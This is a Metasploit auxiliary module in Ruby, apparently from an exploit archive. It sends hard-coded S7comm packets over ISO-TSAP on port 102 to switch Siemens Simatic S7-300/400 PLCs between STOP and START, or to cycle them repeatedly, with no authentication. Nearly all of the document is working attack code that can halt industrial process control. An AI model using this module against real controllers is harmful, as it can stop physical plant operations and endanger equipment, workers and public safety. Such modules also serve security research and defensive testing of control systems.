# Exploit Title: Siemens Simatic S7 300/400 CPU command module
# Date: 7-13-2012
# Exploit Author: Dillon Beresford
# Vendor Homepage: http://www.siemens.com/
# Tested on: Siemens Simatic S7-300 PLC
# CVE : None
 
require 'msf/core'
 
class Metasploit3 < Msf::Auxiliary
     
    include Msf::Exploit::Remote::Tcp
    include Rex::Socket::Tcp
    include Msf::Auxiliary::Scanner
 
    def initialize(info = {})
        super(update_info(info,
          'Name'=> 'Siemens Simatic S7-300/400 CPU START/STOP Module',
          'Description'   => %q{
                The Siemens Simatic S7-300/400 S7 CPU start and stop functions over ISO-TSAP
                this modules allows an attacker to perform administrative commands without authentication.
                This module allows a remote user to change the state of the PLC between
                STOP and START, allowing an attacker to end process control by the PLC.
            },
          'Author'          => 'Dillon Beresford',
          'License'                 => MSF_LICENSE,
          'References'     =>
                [
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-186-01.pdf' ],
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-161-01.pdf' ],
                ],
            'Version'        => '$Revision$',
          'DisclosureDate' => 'May 09 2011'
          ))
           
          register_options(
              [
                  Opt::RPORT(102),
                  OptInt.new('MODE', [false, 'Set true to put the CPU back into RUN mode.',false]),
                  OptInt.new('CYCLES',[true,"Set the amount of CPU STOP/RUN cycles.",10])
            ], self.class)
        end
     
    def run_host(ip)
        begin
         
        cpu = datastore['MODE'] || ''
        cycles = datastore['CYCLES'] || ''
                 
        stop_cpu_pkt =
          [
                       "\x03\x00\x00\x16\x11\xe0\x00\x00"+
                       "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
                   "\x02\x01\x02\xc0\x01\x09",
 
                "\x03\x00\x00\x19\x02\xf0\x80\x32"+
                "\x01\x00\x00\xff\xff\x00\x08\x00"+
                "\x00\xf0\x00\x00\x01\x00\x01\x03"+
                "\xc0",
 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x00\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x40\x00\x01\x84\x00\x00\x00",
 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
 
                "\x03\x00\x00\x21\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x02\x00\x10\x00"+
                "\x00\x29\x00\x00\x00\x00\x00\x09"+
                "\x50\x5f\x50\x52\x4f\x47\x52\x41"+
                "\x4d",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
                 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00"
          ]
         
        start_cpu_pkt =
          [
                    "\x03\x00\x00\x16\x11\xe0\x00\x00"+
                "\x00\x01\x00\xc1\x02\x01\x00\xc2"+
                "\x02\x01\x02\xc0\x01\x09",
 
                "\x03\x00\x00\x19\x02\xf0\x80\x32"+
                "\x01\x00\x00\xff\xff\x00\x08\x00"+
                "\x00\xf0\x00\x00\x01\x00\x01\x03"+
                "\xc0",
 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x00\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x40\x00\x01\x84\x00\x00\x00",
 
                "\x03\x00\x00\x1f\x02\xf0\x80\x32"+
                "\x01\x00\x00\x00\x01\x00\x0e\x00"+
                "\x00\x04\x01\x12\x0a\x10\x02\x00"+
                "\x10\x00\x00\x83\x00\x00\x00",
 
 
                "\x03\x00\x00\x25\x02\xf0\x80\x32"+ 
                "\x01\x00\x00\x00\x02\x00\x14\x00"+
                "\x00\x28\x00\x00\x00\x00\x00\x00"+
                "\xfd\x00\x00\x09\x50\x5f\x50\x52"+
                "\x4f\x47\x52\x41\x4d"
                 
                ]
        # CPU STOP     
        if(cpu == 1)
        connect()
        stop_cpu_pkt.each do |i|
          sock.put("#{i}")
          sleep(0.005)
          end
      end
      # CPU START
      if(cpu == 2)
        connect()
        start_cpu_pkt.each do |i|
          sock.put("#{i}")
          sleep(0.005)
          end
      end
    # STOP / START CPU
    for n in 0..cycles
      if(cpu == 3)
        connect()
        # We assume PLC is up and running (issue a stop command)
        stop_cpu_pkt.each do |i| 
          sock.put("#{i}")
          sleep(0.005)
        end
         
        connect()
        # We assume PLC is has been stopped (issue a start command)
      start_cpu_pkt.each do |i|
        sock.put("#{i}")
          sleep(0.005)
          end
      end
  end
   
    data = sock.get_once() 
        print_good("#{ip} PLC is running, iso-tsap port is open.")
    if(cpu == 'true')
        print_status("Putting the PLC into START mode.")
            elsif(cpu == 'false')
                print_status("Putting the PLC into STOP mode.")
            end
            disconnect()
            rescue ::EOFError
        end
    end
end